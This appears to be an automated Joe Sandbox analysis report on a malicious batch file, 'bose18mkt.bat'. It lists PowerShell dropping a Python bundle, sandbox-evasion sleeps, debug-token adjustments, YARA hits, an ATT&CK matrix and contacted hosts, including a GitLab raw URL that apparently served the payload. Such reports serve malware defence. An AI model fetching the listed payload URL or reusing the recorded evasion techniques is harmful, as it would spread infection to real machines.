Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_eksblowfish.pyd	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5288	Thread sleep count: 3047 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5288	Thread sleep count: 6794 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6596	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3784	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1528	Thread sleep count: 5103 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1648	Thread sleep count: 1605 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1792	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3376	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1272	Thread sleep count: 4347 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1524	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2016	Thread sleep count: 5394 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3368	Thread sleep count: 4403 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3352	Thread sleep count: 5347 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5552	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior

Source: powershell.exe, 0000000C.00000002.1560126249.00000213ED190000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWeP
Source: powershell.exe, 0000000F.00000002.1768287194.0000016062C93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: Yara match	File source: amsi64_1500.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_1824.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1824, type: MEMORYSTR

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report bose18mkt.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Cryptography

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Document.zip

C:\Users\Public\Document\Doc\html\howto\clinic.html

C:\Users\Public\Document\Doc\html\howto\cporting.html

C:\Users\Public\Document\Doc\html\howto\curses.html

C:\Users\Public\Document\Doc\html\howto\descriptor.html

C:\Users\Public\Document\Doc\html\howto\enum.html

C:\Users\Public\Document\Doc\html\howto\functional.html

C:\Users\Public\Document\Doc\html\howto\index.html

C:\Users\Public\Document\Doc\html\howto\instrumentation.html

C:\Users\Public\Document\Doc\html\howto\ipaddress.html

C:\Users\Public\Document\Doc\html\howto\isolating-extensions.html

C:\Users\Public\Document\Doc\html\howto\logging-cookbook.html

C:\Users\Public\Document\Doc\html\howto\logging.html

C:\Users\Public\Document\Doc\html\howto\perf_profiling.html

C:\Users\Public\Document\Doc\html\howto\pyporting.html

C:\Users\Public\Document\Doc\html\howto\regex.html

C:\Users\Public\Document\Doc\html\howto\sockets.html

C:\Users\Public\Document\Doc\html\howto\sorting.html

C:\Users\Public\Document\Doc\html\howto\unicode.html

C:\Users\Public\Document\Doc\html\howto\urllib2.html

Windows Analysis Report
bose18mkt.bat

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	1 Command and Scripting Interpreter	11 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Source	Detection	Scanner
C:\Users\Public\Document\Lib\email\_encoded_words.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\_header_value_parser.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\_policybase.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\mime\multipart.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\mime\nonmultipart.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\mime\text.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\parser.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\policy.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\quoprimime.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\email\utils.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\__init__.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\aliases.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\ascii.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\base64_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\bz2_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\charmap.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp037.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1006.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1026.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1125.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1140.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1250.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1251.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1252.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1253.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1254.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1255.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1256.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1257.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1258.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp273.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp424.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp437.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp500.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp720.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp737.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp775.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp850.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp852.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp855.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp856.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp857.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp858.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp860.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp861.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp862.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp863.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp864.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp865.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp866.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp869.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp874.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp875.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\hex_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\hp_roman8.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\idna.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_1.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_10.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_11.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_13.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_14.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_15.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_16.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_2.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_3.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_4.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_5.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_6.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_7.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_8.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_9.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\koi8_r.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\koi8_t.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\koi8_u.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\kz1048.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\latin_1.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_croatian.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_cyrillic.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_greek.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_iceland.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_latin2.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_roman.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_romanian.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_turkish.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mbcs.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\oem.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\palmos.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\ptcp154.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\punycode.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\quopri_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\raw_unicode_escape.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\rot_13.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\tis_620.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\undefined.py	0%	ReversingLabs

Source	Detection	Scanner	Label
http://bugs.python.org/issue19728	0%	Avira URL Cloud	safe
http://bugs.python.org/review/23491/diff/13982/Lib/zipapp.py#newcode67Lib/zipapp.py:67	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0594/#audioop	0%	Avira URL Cloud	safe
http://www.pretend_server.org'	0%	Avira URL Cloud	safe
https://rhettinger.wordpress.com/2011/05/26/super-considered-super/	0%	Avira URL Cloud	safe
http://eprint.iacr.org/2002/067.pdf	0%	Avira URL Cloud	safe
http://bugs.python.org/issue19734	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0475/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0387/	0%	Avira URL Cloud	safe
http://www.rsa.com/rsalabs/node.asp?id=2125	0%	Avira URL Cloud	safe
http://%s/not/found.h	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0594/#cgi	0%	Avira URL Cloud	safe
http://bugs.python.org/issue20053	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0342/#new-generator-method-close	0%	Avira URL Cloud	safe
http://tix.sourceforge.net.	0%	Avira URL Cloud	safe
http://www.pythontest.net/redir/with_frag/	0%	Avira URL Cloud	safe
https://eprint.iacr.org/2005/033)	0%	Avira URL Cloud	safe
https://bugs.python.org/issue12524">https://bugs.python.org/issue12524</a>'	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0594/#crypt	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3151/	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
gitlab.com	172.65.251.78	true	false	high
ipinfo.io	34.117.59.81	true	false	high
www-env.dropbox-dns.com	162.125.66.18	true	false	high
18.31.95.13.in-addr.arpa	unknown	unknown	false	unknown
www.dropbox.com	unknown	unknown	false	high

Name	Source	Malicious	Antivirus Detection	Reputation
http://bugs.python.org/review/23491/diff/13982/Lib/zipapp.py#newcode67Lib/zipapp.py:67	test_zipapp.py.16.dr	false	Avira URL Cloud: safe	unknown
http://bugs.python.org/issue19728	test_venv.py.16.dr	false	Avira URL Cloud: safe	unknown
https://gitlab.com/-/sandbox/;	powershell.exe, 0000000F.00000002.1710253454.000001604BFD4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1710253454.000001604BFF7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://datatracker.ietf.org/doc/html/rfc2616.html#section-14.23	http.client.html.16.dr	false		high
https://packaging.python.org/en/latest/tutorials/packaging-projects/	index.html1.16.dr	false		high
https://www.dropbox.com/scl/fi/2xk4dviogo9yos	powershell.exe, 0000000C.00000002.1541193035.00000213D4F89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/cloud-docs/edit	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/tree/3.12/Lib/email/parser.py	email.parser.html.16.dr	false		high
https://github.com/aio-libs/aiohttp/discussions/6044	powershell.exe, 00000010.00000002.2616652786.000002DD807D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/archiving.html	archiving.html.16.dr	false		high
https://collector.prd-278964.gl-product-analytics.com	powershell.exe, 0000000F.00000002.1710253454.000001604BFD4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1710253454.000001604BFF7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0594/#audioop	audioop.html.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/html.parser.html	html.parser.html.16.dr	false		high
http://www.rsa.com/rsalabs/node.asp?id=2125	test_RSA.py.16.dr	false	Avira URL Cloud: safe	unknown
https://gitlab.com/bose1511/mkt1511/-/raw/main/18fukrun.zip	powershell.exe, 0000000F.00000002.1768219578.0000016062B60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/	powershell.exe, 0000000C.00000002.1541443556.00000213D665A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1541443556.00000213D667A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/main/Doc/howto/isolating-extensions.rst	isolating-extensions.html.16.dr	false		high
https://github.com/textualize	powershell.exe, 00000010.00000002.2616652786.000002DD80901000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.pretend_server.org'	urllib2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://rhettinger.wordpress.com/2011/05/26/super-considered-super/	functions.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/howto/instrumentation.rst	instrumentation.html.16.dr	false		high
